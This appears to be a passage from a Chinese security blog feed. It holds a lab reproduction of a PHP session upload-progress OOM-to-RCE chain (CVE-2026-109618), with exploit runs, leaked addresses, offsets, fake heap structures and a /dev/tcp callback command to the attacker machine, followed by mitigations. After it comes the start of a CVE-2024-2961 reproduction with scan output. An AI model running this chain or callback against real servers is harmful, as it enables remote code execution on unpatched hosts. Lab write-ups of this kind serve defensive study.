&lt;p&gt;文件传上去了，响应还是三个字节，没有接收逻辑。带上 Cookie 再请求一次，响应里也没有 Set-Cookie，页面自己不会建立会话。&lt;/p&gt;
&lt;p&gt;到这里业务面就摸完了：一个只会输出 OK 的 PHP 文件，没有参数、没有上传、没有数据库、没有包含，任何输入都不改变它的行为。&lt;/p&gt;
&lt;h3&gt;确定攻击面&lt;/h3&gt;
&lt;p&gt;业务层没有输入点，注入、文件包含、上传、反序列化这几类都没有落点。剩下的只有 PHP 解释器处理请求这一层，它不需要应用配合，有请求进来就有机会触发。&lt;/p&gt;
&lt;p&gt;判断依据来自响应头。X-Powered-By 是 PHP/8.4.26，而 PHP 在 2026 年 10 月的这批修复里，8.4.27 是 8.4 分支的修复版本，靶标正好低一个补丁版本。CVE-2026-109618 与 CVE-2026-109619 的影响范围是 5.4 到 8.5.11，8.4.26 落在区间里。修复版本同时覆盖 8.2.35、8.3.36、8.4.27、8.5.12 四个分支，说明问题在 PHP 核心的请求处理逻辑里，不在某个 SAPI 或某个发行版。&lt;/p&gt;
&lt;p&gt;这条链要成立，还需要三个条件同时具备：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PHP 版本在 5.4 到 8.5.11 之间&lt;/li&gt;
&lt;li&gt;&lt;code&gt;session.upload_progress.enabled&lt;/code&gt; 为 On&lt;/li&gt;
&lt;li&gt;&lt;code&gt;session.use_strict_mode&lt;/code&gt; 为 Off&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;第一条从响应头读到了。后两条任何响应头都不会透露，只能按官方镜像的默认值假设，这两个开关在 PHP 里默认就是打开和关闭的。假设对不对，往下走一遍就知道。&lt;/p&gt;
&lt;p&gt;前面 nmap 的 vulners 结果里没有这条 CVE，扫描器只认 Apache 和 OpenSSH 的版本号，看不到 PHP 版本，也看不到 session 配置。候选只能靠人工从响应头推出来，再用行为去验证。&lt;/p&gt;
&lt;h3&gt;漏洞验证&lt;/h3&gt;
&lt;p&gt;为了看清每一步在做什么，下面把链条拆开单独发，不直接跑完整脚本。请求都从攻击机 192.168.31.152 发往 192.168.31.148 的 18110 端口。&lt;/p&gt;
&lt;p&gt;第一步，看请求能不能在脚本执行之前被打断。A1 是链条里的第一个请求，单独发一次：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ cd /home/kali/php2shell-md
└─$ python3 pure/mk_a1.py --out /tmp/a1.bin	# 生成 A1 的 chunked body
└─$ python3 pure/chunked_send.py --host 192.168.31.148 --port 18110 \
       --body-file /tmp/a1.bin --save-response /tmp/a1.resp
body=1060211 resp=211 status=&apos;HTTP/1.0 500 Internal Server Error&apos;

└─$ head -6 /tmp/a1.resp
HTTP/1.0 500 Internal Server Error
Date: Sun, 01 Nov 2026 06:56:15 GMT
Server: Apache/2.4.69 (Debian)
X-Powered-By: PHP/8.4.26
Content-Length: 0
Connection: close
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同一个页面正常请求返回 200 加三个字节。&lt;code&gt;index.php&lt;/code&gt; 只有一行 echo，脚本跑起来就会输出 OK。这里返回 500，响应体长度是 0，说明请求在脚本执行之前就断了。普通 PHP 脚本出错会把错误和行号打进响应体，这次什么都没有，中断点在 C 代码里。&lt;/p&gt;
&lt;p&gt;第二步，A1 之后接 B1，看 Set-Cookie 变成什么样。这一步有个前提：A1 和 B1 要落在同一个 Apache 子进程上，否则悬空指针不在同一个进程里，B1 读到的还是干净的 32 字节 id。参考实现先开 149 个只发请求头、不发 body 的连接把 worker 占住，再依次发 A1 和 B1：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ P2S_HOST=192.168.31.148 python3 exploit_lan.py --port 18110 --workers 150 --retries 1
      pinned 150/150 workers (149 holders)
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      decoded=819208 zval_ptr_dtor=0x7fa112100b60 -&amp;gt; libphp=0x7fa111aa2000
      chunk buckets: [(&apos;0x7fa10f600000&apos;, 7495), (&apos;0x7fa112000000&apos;, 1095), (&apos;0x7fa10fe00000&apos;, 87), (&apos;0x7fa10f400000&apos;, 79)]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参考实现的连接地址写死成 127.0.0.1，这里用环境变量 &lt;code&gt;P2S_HOST&lt;/code&gt; 换成靶机地址，其余不变。&lt;/p&gt;
&lt;p&gt;正常请求的 PHPSESSID 是 32 个字符，这次的 Set-Cookie 解码出 819208 字节。这个数字来自伪造的 &lt;code&gt;zend_string&lt;/code&gt; 头：长度字段写成 0xC8000，也就是 819200，加上 8 字节的数据偏移，正好 819208。PHP 把从 id 指针开始的 800KB 内存当成字符串，url_encode 之后塞进了 Cookie。&lt;/p&gt;
&lt;p&gt;这些字节里混着堆上的指针。输出里的 &lt;code&gt;zval_ptr_dtor=0x7fa112100b60&lt;/code&gt; 是其中一个，它指向 &lt;code&gt;libphp.so&lt;/code&gt; 里的 &lt;code&gt;zval_ptr_dtor&lt;/code&gt; 函数，减去已知偏移 0x65EB60 得到 libphp 的基址 0x7fa111aa2000。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chunk buckets&lt;/code&gt; 是内存里 2MB 对齐的 chunk 指针分布，括号里是出现次数，最上面两个是主 chunk 的候选地址。&lt;/p&gt;
&lt;p&gt;B1 没有调用 &lt;code&gt;session_start()&lt;/code&gt;，却能让 session 模块在请求启动阶段生成 Cookie，这也说明 &lt;code&gt;session.upload_progress&lt;/code&gt; 是开着的。&lt;/p&gt;
&lt;p&gt;第三步，整条链。A2 和 B2 接在 B1 后面，同样要求落在同一个子进程上。参考实现跑完 B2 会去读靶机上的 proof 文件，跨主机时读不到，所以把执行的命令换成一个回连，攻击机这边监听端口收结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ P2S_HOST=192.168.31.148 P2S_CB=192.168.31.152:4446 \
       python3 exploit_lan.py --port 18110 --workers 150
      pinned 150/150 workers (149 holders)
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      decoded=819208 zval_ptr_dtor=0x7fa112100b60 -&amp;gt; libphp=0x7fa111aa2000
      chunk buckets: [(&apos;0x7fa10f600000&apos;, 7495), (&apos;0x7fa112000000&apos;, 1095), (&apos;0x7fa10fe00000&apos;, 87), (&apos;0x7fa10f400000&apos;, 79)]
[try 1] A2 + B2: main=0x7fa10fe00000 S=0x7fa10fef8398 zif_system=0x7fa111f07370
[4/4] RCE OK; callback:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令是 &lt;code&gt;bash -c &apos;id &amp;gt;/dev/tcp/192.168.31.152/4446&apos;&lt;/code&gt;，由目标上的 system 执行，输出直接连回攻击机。&lt;/p&gt;
&lt;p&gt;从发出第一个请求到收到回连，3 到 4 秒。期间目标的 &lt;code&gt;php.ini&lt;/code&gt; 没改过，Apache 没重启过，web 根下没写过文件，整条链只有 HTTP 请求。&lt;/p&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;参考实现把链条拆成 A1、B1、A2、B2 四个请求，全部由攻击机发出。&lt;/p&gt;
&lt;p&gt;先占住 worker。Apache prefork 默认 &lt;code&gt;MaxRequestWorkers&lt;/code&gt; 150，脚本先建立 149 个只发了请求头、不带完整 body 的连接，把这 149 个子进程占住，剩下的那一个依次处理四个请求。运行时打印的 &lt;code&gt;pinned 150/150 workers (149 holders)&lt;/code&gt; 就是这一步。&lt;/p&gt;
&lt;p&gt;之所以要钉住，是因为悬空指针存在进程的全局变量里。Apache prefork 的每个子进程独立处理请求，四个请求分到不同子进程，指针就断了。&lt;/p&gt;
&lt;p&gt;第一段，A1 让 OOM 落在发 Cookie 的路径上。A1 是一个 chunked multipart 请求，body 里有这些字段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个 &lt;code&gt;PHPSESSID&lt;/code&gt; 字段&lt;/li&gt;
&lt;li&gt;860 个嵌套空文件字段，字段名形如 &lt;code&gt;files[R00000KKK...KKK][a][a]...&lt;/code&gt;，深度 64&lt;/li&gt;
&lt;li&gt;14 个 103 字节名的填充字段&lt;/li&gt;
&lt;li&gt;78 个 8000 字节的大字段&lt;/li&gt;
&lt;li&gt;20 个 4000 字节的燃烧字段&lt;/li&gt;
&lt;li&gt;一个 4000 字节的 &lt;code&gt;PHP_SESSION_UPLOAD_PROGRESS&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;chunked 编码没有 &lt;code&gt;Content-Length&lt;/code&gt;，&lt;code&gt;rfc1867_post_handler&lt;/code&gt; 开头的 &lt;code&gt;post_max_size&lt;/code&gt; 检查会被跳过，body 可以远超 8MB。&lt;/p&gt;
&lt;p&gt;这些字段的作用是控制堆的形状，让那笔会失败的内存分配正好发生在 &lt;code&gt;php_session_send_cookie()&lt;/code&gt; 内部的 &lt;code&gt;php_url_encode()&lt;/code&gt; 里。&lt;/p&gt;
&lt;p&gt;第二段，B1 把堆读出来。B1 在 A1 留下的 id 内存位置上铺伪造的 &lt;code&gt;zend_string&lt;/code&gt; 头，长度写 0xC8000，然后触发 session 初始化。PHP 拿这个 id 去生成 Set-Cookie，读出来的就是一整片堆内存。&lt;/p&gt;
&lt;p&gt;800KB 里有三类东西：2MB 对齐的 chunk 指针、HashTable 的 &lt;code&gt;pDestructor&lt;/code&gt; 指针、以及其它残留数据。出现次数最多的是 &lt;code&gt;zval_ptr_dtor&lt;/code&gt;，1095 次，用它反推 libphp 基址。&lt;/p&gt;
&lt;p&gt;第三段，A2 再制造一次 OOM。手法和 A1 类似，目标不同：它在 multipart 解析阶段 OOM，跳过模块 shutdown，让 &lt;code&gt;PS(http_session_vars)&lt;/code&gt; 这类 session 全局变量悬空到堆上。&lt;/p&gt;
&lt;p&gt;第四段，B2 伪造 zend_array。B2 发 500 个 384 字节的字段，每个字段的值里每 32 字节嵌一个伪造的 &lt;code&gt;zend_reference&lt;/code&gt;，ptr 指向 S，也就是伪造数组的地址。再发一个 &lt;code&gt;ht&lt;/code&gt; 字段，内容是 384 字节的伪造 &lt;code&gt;zend_array&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这些字节在 S 处拼出一个结构：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;前 0x20 字节是 HashTable 头，&lt;code&gt;pDestructor&lt;/code&gt; 写成 &lt;code&gt;zif_system&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;0x20 处是伪造的 &lt;code&gt;zend_execute_data&lt;/code&gt;，&lt;code&gt;num_args&lt;/code&gt; 为 1，参数指向 S+0x80&lt;/li&gt;
&lt;li&gt;0x80 处是伪造的 &lt;code&gt;zend_string&lt;/code&gt;，内容是回连命令&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;请求结束时，PHP 销毁 session 数组，遍历到伪造元素时调用 &lt;code&gt;pDestructor&lt;/code&gt;。它的类型是 &lt;code&gt;void (*)(zval *)&lt;/code&gt;，实际落点是 &lt;code&gt;zif_system&lt;/code&gt;，第一个参数被当成 &lt;code&gt;execute_data&lt;/code&gt;，命令就这样被执行了。&lt;/p&gt;
&lt;p&gt;复现结束后，三个 PHP 容器均已退出，挂载到 /out 的目录里还留着 4 个上传的会话文件，合计 20 KB，属主是容器内的 www-data。攻击流量从 192.168.31.152 直达靶机，未经跳板，上传请求与后续的命令执行都会进入 Apache 的访问日志。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;请求的生命周期与清理点&lt;/h3&gt;
&lt;p&gt;PHP 处理一个请求分三段：启动、执行、收尾。&lt;/p&gt;
&lt;p&gt;启动阶段也就是 RINIT，各模块初始化自己的全局状态，session 模块在这里打开 session 文件、生成 session id、发 Set-Cookie。执行阶段跑脚本。收尾阶段是 RSHUTDOWN，各模块把状态清干净，session 模块关文件、写数据、复位指针。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;session.upload_progress&lt;/code&gt; 挂在 multipart 解析器的回调上，而 multipart 解析发生在启动阶段，比模块的 RINIT 更早。带 &lt;code&gt;PHP_SESSION_UPLOAD_PROGRESS&lt;/code&gt; 的请求一进来，session 模块就被提前唤醒了。&lt;/p&gt;
&lt;h3&gt;OOM 与 longjmp&lt;/h3&gt;
&lt;p&gt;PHP 的内存分配走 &lt;code&gt;ZendMM&lt;/code&gt;。每次 &lt;code&gt;emalloc&lt;/code&gt; 都会检查这次分配会不会超过 &lt;code&gt;memory_limit&lt;/code&gt;，超了就报 E_ERROR：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zend_error_noreturn(E_ERROR,
    &quot;Allowed memory size of %zu bytes exhausted (tried to allocate %zu bytes)&quot;,
    ...);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;zend_error_noreturn&lt;/code&gt; 最后调用 &lt;code&gt;zend_bailout()&lt;/code&gt;，后者是一个 &lt;code&gt;longjmp&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void zend_bailout(void) {
    ...
    longjmp(EG(bailout), 1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;longjmp&lt;/code&gt; 直接跳回请求开始时 &lt;code&gt;setjmp&lt;/code&gt; 的位置，中间所有函数栈帧全部作废。正常返回时该执行的清理代码，一行都不会跑。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./PHP2Shell%E4%BC%9A%E8%AF%9D%E4%B8%8A%E4%BC%A0%E8%BF%9B%E5%BA%A6OOM%E5%88%B0RCE%EF%BC%88CVE-2026-109618%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/fig-p2s-bailout.png&quot; alt=&quot;OOM 触发 longjmp，中间清理被跳过&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;悬空指针是怎么留下的&lt;/h3&gt;
&lt;p&gt;A1 的 OOM 点被安排在 &lt;code&gt;php_session_send_cookie()&lt;/code&gt; 里面。这个函数拿 &lt;code&gt;PS(id)&lt;/code&gt; 指向的 session id 做 url_encode，拼进 Set-Cookie 头。&lt;/p&gt;
&lt;p&gt;gdb 里看到的调用栈：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#3 zend_string_safe_alloc (persistent=false, l=0, m=32, n=3)
#4 php_url_encode_impl (raw=false, len=32, s=0x7ffff3fff018 &quot;...&quot;)
#5 php_url_encode
#6 php_session_send_cookie
#7 php_session_reset_id
#8 php_session_initialize
#9 php_session_rfc1867_update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一笔分配是 &lt;code&gt;zend_string_safe_alloc(3, 32, 0, 0)&lt;/code&gt;，121 字节，落在 bin 128，OOM 就发生在这里。&lt;/p&gt;
&lt;p&gt;OOM 时：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PS(id)&lt;/code&gt; 已经指向一块内存，但这块内存处于半初始化状态，或者已经被释放&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PS(send_cookie)&lt;/code&gt; 还是 1，表示没发完&lt;/li&gt;
&lt;li&gt;session 的清理函数 &lt;code&gt;php_session_rfc1867_cleanup()&lt;/code&gt; 没有执行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;longjmp&lt;/code&gt; 回到顶层后，PHP 仍然会走请求收尾，但收尾函数看到的是不一致的状态，它不会去修 &lt;code&gt;PS(id)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;请求结束了，进程还在。Apache prefork 的子进程处理完一个请求不退出，等下一个连接。&lt;code&gt;PS(id)&lt;/code&gt; 就留在进程的全局区里，指向一块已经回收的堆内存。&lt;/p&gt;
&lt;p&gt;B1 进来，同一个子进程处理。启动阶段 session 模块又被唤醒，它看到 &lt;code&gt;PS(id)&lt;/code&gt; 非空，直接拿来用。攻击者在 B1 的 body 里用大字段把这块内存重新占住，写上伪造的 &lt;code&gt;zend_string&lt;/code&gt; 头，长度 0xC8000。于是 url_encode 读的不再是 32 字节的 id，而是 800KB 的堆。&lt;/p&gt;
&lt;h3&gt;从泄露到基址&lt;/h3&gt;
&lt;p&gt;泄露出来的内存里混着各种指针。定位 libphp 的办法是找一个出现次数特别多的固定偏移：HashTable 销毁时用的 &lt;code&gt;pDestructor&lt;/code&gt; 都指向 &lt;code&gt;zval_ptr_dtor&lt;/code&gt;，同一个进程里这个地址是固定的，所以在 800KB 窗口里会反复出现。&lt;/p&gt;
&lt;p&gt;取出现次数最多的那个地址，减去 &lt;code&gt;libphp.so&lt;/code&gt; 里的偏移 0x65EB60，得到模块基址。有了基址，&lt;code&gt;zif_system&lt;/code&gt; 的地址就是基址加 0x465370。&lt;/p&gt;
&lt;p&gt;这两个偏移是 8.4.26 这个构建的值，换版本要重新取符号。换到 8.3.4 上跑同一条链，B1 直接报 &lt;code&gt;no Set-Cookie in leak response&lt;/code&gt;，连泄露都拿不到，原因前面说过，是发 Cookie 的时序对不上。&lt;/p&gt;
&lt;h3&gt;伪造一个能被调用的数组&lt;/h3&gt;
&lt;p&gt;第二轮的目的不是读，是写。A2 用同样的 OOM 手法让 &lt;code&gt;PS(hash_serialize_verifier)&lt;/code&gt; 悬空，B2 用大量 384 字节字段把伪造的 &lt;code&gt;zend_reference&lt;/code&gt; 铺到堆上，ptr 指向 S。&lt;/p&gt;
&lt;p&gt;S 处放的是手工拼的 &lt;code&gt;zend_array&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;偏移 0x00  gc（引用计数与类型）
偏移 0x08  flags、nTableMask
偏移 0x10  arData = S+0x20
偏移 0x18  nNumUsed、nNumOfElements
偏移 0x30  pDestructor = zif_system
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./PHP2Shell%E4%BC%9A%E8%AF%9D%E4%B8%8A%E4%BC%A0%E8%BF%9B%E5%BA%A6OOM%E5%88%B0RCE%EF%BC%88CVE-2026-109618%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/fig-p2s-fakearray.png&quot; alt=&quot;伪造的 384 字节缓冲区被三种结构解读&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关键在于 &lt;code&gt;pDestructor&lt;/code&gt;。PHP 销毁数组时对每个元素调用它，签名是 &lt;code&gt;void (*)(zval *)&lt;/code&gt;。&lt;code&gt;zif_system&lt;/code&gt; 的真实签名是 &lt;code&gt;void zif_system(zend_execute_data *execute_data, zval *return_value)&lt;/code&gt;，两者对不上。但在 x86-64 的调用约定下，第一个参数放进 rdi，&lt;code&gt;pDestructor&lt;/code&gt; 传进去的 zval 指针会被 &lt;code&gt;zif_system&lt;/code&gt; 当成 &lt;code&gt;execute_data&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;所以还要在 S+0x20 放一个假的 &lt;code&gt;zend_execute_data&lt;/code&gt;，让 &lt;code&gt;zif_system&lt;/code&gt; 从里面取参数。这个结构里 &lt;code&gt;num_args&lt;/code&gt; 设成 1，参数指针指向 S+0x80 的假 &lt;code&gt;zend_string&lt;/code&gt;，内容是命令字符串。&lt;/p&gt;
&lt;p&gt;请求收尾时，session 数组被销毁，走到伪造元素，调用 &lt;code&gt;pDestructor&lt;/code&gt;，system 执行。&lt;/p&gt;
&lt;h3&gt;为什么打不崩进程&lt;/h3&gt;
&lt;p&gt;整个过程中 worker 一直在正常服务。OOM 触发的是 bailout，不是段错误，伪造的结构只在收尾那一下被读，读完请求就结束了。日志里能看到 Fatal error，下一个请求照常处理。&lt;/p&gt;
&lt;p&gt;麻烦的是连续利用之间的状态污染。上一次 A1 留下的残留还在同一个子进程里，重试时堆布局已经变了。稳妥的做法是每次重试前重启容器，让 worker 回到干净状态。本文的复现里第一次没重启，A2 的两个候选地址都没命中；重启容器后第一次就成功。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;p&gt;升级到修复版本是唯一彻底的办法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;8.4.27&lt;/li&gt;
&lt;li&gt;8.3.36&lt;/li&gt;
&lt;li&gt;8.2.35&lt;/li&gt;
&lt;li&gt;8.5.12&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;暂时不能升级的话，可以做临时缓解，几条叠加效果更好。&lt;/p&gt;
&lt;p&gt;关闭 upload_progress，在 Apache 配置里加：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php_admin_value session.upload_progress.enabled 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;改完要重启所有 worker，只 reload 不够，旧进程里的全局状态还在。&lt;/p&gt;
&lt;p&gt;把 &lt;code&gt;memory_limit&lt;/code&gt; 设为 -1，让 OOM 不发生。代价是失去内存保护，只适合能控住请求大小的场景。&lt;/p&gt;
&lt;p&gt;把 &lt;code&gt;pm.max_requests&lt;/code&gt; 设为 1，让每个子进程处理完一个请求就退出，跨请求的悬空指针带不到下一个请求。这个做法对性能影响明显。&lt;/p&gt;
&lt;p&gt;已经 EOL 的 PHP 5.4 到 8.1，官方不再发补丁，只能靠发行版或商业支持回填。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;MRdark-ops 的参考实现：&lt;a href=&quot;https://github.com/MRdark-ops/php2shell&quot;&gt;php2shell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE-2026-109618 公告：&lt;a href=&quot;https://github.com/advisories/GHSA-w8hw-w9fx-j79w&quot;&gt;GHSA-w8hw-w9fx-j79w&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE-2026-109619 公告：&lt;a href=&quot;https://github.com/advisories/GHSA-6wmf-4rv5-p3rp&quot;&gt;GHSA-6wmf-4rv5-p3rp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;PHP 修复版本记录：&lt;a href=&quot;https://www.php.net/ChangeLog-8.php&quot;&gt;ChangeLog-8&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>PHP 文件读取到 RCE（CVE-2024-2961）复现</title><link>https://blog.mal-suen.cn/posts/2026/11/221/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2026/11/221/</guid><description>CVE-2024-2961 是 glibc iconv() 转换 ISO-2022-CN-EXT 时最多越界写 4 字节的堆溢出，CVSS 7.3。PHP 应用只要存在任意文件读取，攻击者就能用 php://filter 串接 convert.iconv 把越界写投放到 ZendMM 的空闲链表上，控制下一次分配的位置，再覆盖 zend_mm_heap 的函数钩子执行命令。本文在 Vulhub 的 php/CVE-2024-2961 靶场（PHP 8.3.4 + glibc 2.36）完成从指纹识别、过滤器逐项验证到 webshell 落地的完整复现。</description><pubDate>Sun, 01 Nov 2026 04:20:00 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2024-2961 是 GNU C Library 中 iconv() 的一个输出缓冲区越界写漏洞。把字符串转换成 &lt;code&gt;ISO-2022-CN-EXT&lt;/code&gt; 时，写转义序列会越过调用方给的缓冲区末尾最多 4 字节。按 CVSS 算它只有 7.3，攻击向量还是本地，单独看是组件层的问题。它危险的地方在于 PHP 的 &lt;code&gt;php://filter&lt;/code&gt;：用户能把任意编码转换串成链并指定输入内容，于是应用里的任意文件读取可以被扩展成对堆内存的写入，再往前走一步就是代码执行。&lt;/p&gt;
&lt;p&gt;本文在 Vulhub 的 php/CVE-2024-2961 靶场上把这套链条完整走一遍，攻击机 192.168.31.152，靶机 192.168.31.148。验证部分按过滤器逐项拆开，利用部分按 cnext 脚本的执行顺序拆开，最后用一节把内存管理的背景补上。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2024-2961&lt;/td&gt;
&lt;td&gt;7.3（AV:L，经 PHP 放大为远程）&lt;/td&gt;
&lt;td&gt;GNU C Library ≤ 2.39&lt;/td&gt;
&lt;td&gt;堆越界写（最多 4 字节），链式利用可致 RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;靶机上的 Vulhub 已经全量存在，直接进目录起靶：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(root㉿kali)-[~]
└─# cd /root/vulhub/php/CVE-2024-2961
└─# docker compose up -d	# 拉取镜像并启动容器
 Network cve-2024-2961_default  Created
 Container cve-2024-2961-web-1  Started

└─# docker ps	# 确认容器状态
CONTAINER ID   IMAGE                    PORTS                                      NAMES
cve-2024-2961-web-1   vulhub/php:8.3.4-apache   0.0.0.0:8080-&amp;gt;80/tcp, [::]:8080-&amp;gt;80/tcp   cve-2024-2961-web-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;靶标就是一个单文件应用，源码只有三行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$data = file_get_contents($_POST[&apos;file&apos;]);
echo &quot;File contents: $data&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用户提交的 file 被直接交给 &lt;code&gt;file_get_contents&lt;/code&gt;，中间没有任何过滤。这既是任意文件读取，也是后面所有事情的入口。浏览器访问 http://192.168.31.148:8080/ 不带参数时，页面直接抛出 Warning 与 Deprecated，把脚本路径和行号一起印在响应里。&lt;/p&gt;
&lt;h3&gt;端口扫描与内容发现&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.2p1 Debian 6 (protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:10.2p1: 
|     	CVE-2026-60002	9.4	https://vulners.com/cve/CVE-2026-60002
|     	…（其余 26 条同为 2026 年的 OpenSSH 条目，无公开利用链，略）
8080/tcp open  http    Apache httpd 2.4.57 ((Debian))
| vulners: 
|   cpe:/a:apache:http_server:2.4.57: 
|     	CVE-2024-38476	9.8	https://vulners.com/cve/CVE-2024-38476
|     	CVE-2024-38474	9.8	https://vulners.com/cve/CVE-2024-38474
|     	CVE-2024-38475	9.1	https://vulners.com/cve/CVE-2024-38475
|     	CVE-2024-38473	8.1	https://vulners.com/cve/CVE-2024-38473
|     	…（其余 175 条为按版本号匹配的条目，与靶标实际组件无关，略）
MAC Address: 00:0C:29:B3:23:74 (VMware)

# Nmap done at Sat Oct 31 17:18:59 2026 -- 1 IP address (1 host up) scanned in 9.51 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;65533 个端口是 closed（RST），没有 filtered，说明靶机没有防火墙拦截，对外只暴露 SSH 与 Web。22 端口是 Kali 自带的 OpenSSH，不是本次目标；真正的入口是 8080。&lt;/p&gt;
&lt;p&gt;完整输出 225 行，vulners 一共列出 206 条记录，去重后是 100 个 CVE 编号。大部分是 2026 年的条目，只按版本号匹配，没有公开利用链。与 2.4.57 真正相关的是 2024 年 7 月那批：CVE-2024-38474 与 CVE-2024-38475 出在 mod_rewrite，CVE-2024-38473 出在 mod_proxy，CVE-2024-38476 出在 core（恶意后端响应头导致的 SSRF 与本地脚本执行），都修在 2.4.60。&lt;/p&gt;
&lt;p&gt;但这批问题在这个靶标上没有触发条件。前三个依赖 mod_rewrite 或 mod_proxy，容器加载的 28 个 Apache 模块里没有这两个；38476 虽然属于 core，成立的前提是前面有反向代理、后端能返回特制响应头，而这台靶标是单容器的 mod_php，没有代理链路。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker exec cve-2024-2961-web-1 apache2ctl -M | grep -E &quot;rewrite|proxy|cgi&quot;
（无输出）
└─$ sudo docker exec cve-2024-2961-web-1 apache2ctl -M | grep -c module
28
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;OpenSSH 那 27 条同样是 2026 年的条目，没有公开利用链；其余的 Apache 条目也一样，是 vulners 用 cpe 匹配出来的噪声。&lt;/p&gt;
&lt;p&gt;真正值得复现的 CVE-2024-2961 反而不在这份列表里。vulners 只认识 Apache 与 OpenSSH 的版本号，看不到容器里跑的 PHP 8.3.4 和 glibc 2.36，所以它给出的结论与靶标的实际攻击面无关。&lt;/p&gt;
&lt;p&gt;端口层面没有可直接利用的东西，接下来看应用层有哪些入口。用 gobuster 跑一遍常见字典：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.31.148:8080/ -w /usr/share/wordlists/dirb/common.txt -t 40 -q --no-error
.htpasswd
index.php

.htaccess
.hta
server-status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有 index.php 返回 200，其余要么是 Apache 的默认拒绝（.htaccess、.htpasswd），要么是只允许本地访问的状态页。整个站点就一个入口脚本，攻击面集中在这一个文件上。&lt;/p&gt;
&lt;h3&gt;确认漏洞指纹&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -i http://192.168.31.148:8080/

HTTP/1.1 200 OK
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.3.4
Vary: Accept-Encoding
Content-Length: 524
Content-Type: text/html; charset=UTF-8

&amp;lt;br /&amp;gt;
